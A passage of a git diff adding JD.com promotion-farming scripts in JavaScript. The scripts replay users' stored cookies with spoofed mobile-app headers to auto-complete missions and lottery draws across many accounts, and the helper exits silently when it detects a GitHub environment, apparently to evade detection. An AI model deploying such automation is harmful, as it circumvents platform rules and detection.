Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_xgyl.js b/activity/jd_xgyl.js new file mode 100644 index 0000000..3a40e20 --- /dev/null +++ b/activity/jd_xgyl.js @@ -0,0 +1,343 @@ +/* +小鸽有礼2 +每天抽奖25豆 +活动入口:https://jingcai-h5.jd.com/#/dialTemplate?activityCode=1354648125121241088 +活动时间:2021年1月28日~2021年2月28日 +更新地址:jd_xgyl.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼2 +30 7 * * * jd_xgyl.js, tag=小鸽有礼2, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_xgyl.png, enabled=true + +================Loon============== +[Script] +cron "30 7 * * *" script-path=jd_xgyl.js, tag=小鸽有礼2 + +===============Surge================= +小鸽有礼2 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=jd_xgyl.js + +============小火箭========= +小鸽有礼2 = type=cron,script-path=jd_xgyl.js, cronexpr="30 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('小鸽有礼2'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await xgyl(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.beans}京豆` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +async function xgyl() { + $.draw = 0 + $.beans = 0 + for (let i = 0; i < 20; ++i) { + await getMissionList() + await $.wait(1000) + } + await getActInfo() + while ($.draw--) { + await draw() + await $.wait(1000) + } +} + +function getActInfo() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/queryActivityBaseInfo'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + $.rewardList = data.content.rewardInfoDTOs + console.log(`剩余抽奖次数:${data.content.drawNum}`) + $.draw = data.content.drawNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getMissionList() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/queryMissionList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + for (let vo of data.content.missionList) { + if (vo.completeNum < vo.totalNum) { + console.log(`去做【${vo.desc}】任务`) + await doMission({missionNo: vo.missionNo, params: vo.params}) + await $.wait(1000) + } + if (vo.status === 11) { + await getDrawChance({"getCode": vo.getRewardNos[0]}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getDrawChance(body) { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/getDrawChance', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`获得一次抽奖机会`) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doMission(body) { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/completeMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.post(taskUrl('luckdraw/draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log(`抽奖获得:【${data.content.rewardDTO.title}】`) + if (data.content.rewardDTO.rewardType === 102) { + $.beans += data.content.rewardDTO.jdBeanDTO.sendNum + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body) { + return { + url: `https://lop-proxy.jd.com/${function_id}`, + body: JSON.stringify([{"userNo": "$cooMrdGatewayUid$", "activityCode": "1354648125121241088", ...body}]), + headers: { + 'Host': 'lop-proxy.jd.com', + 'lop-dn': 'jingcai.jd.com', + 'biz-type': 'service-monitor', + 'app-key': 'jexpress', + 'access': 'H5', + 'content-type': 'application/json;charset=utf-8', + 'clientinfo': '{"appName":"jingcai","client":"m"}', + 'accept': 'application/json, text/plain, */*', + 'jexpress-report-time': new Date().getTime().toString(), + 'x-requested-with': 'XMLHttpRequest', + 'source-client': '2', + 'appparams': '{"appid":158,"ticket_type":"m"}', + 'version': '1.0.0', + 'origin': 'https://jingcai-h5.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://jingcai-h5.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jr_sign.js b/activity/jr_sign.js new file mode 100644 index 0000000..8b92eb7 --- /dev/null +++ b/activity/jr_sign.js @@ -0,0 +1,197 @@ +/* +金融打卡领年终奖 +活动时间:2020-12-8 到 2020-12-31 +更新地址:jr_sign.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#金融打卡领年终奖 +10 6 * * * jr_sign.js, tag=金融打卡领年终奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 6 * * *" script-path=jr_sign.js, tag=金融打卡领年终奖 + +===============Surge================= +金融打卡领年终奖 = type=cron,cronexp="10 6 * * *",wake-system=1,timeout=3600,script-path=jr_sign.js + +============小火箭========= +金融打卡领年终奖 = type=cron,script-path=jr_sign.js, cronexpr="10 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('金融打卡领年终奖'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || 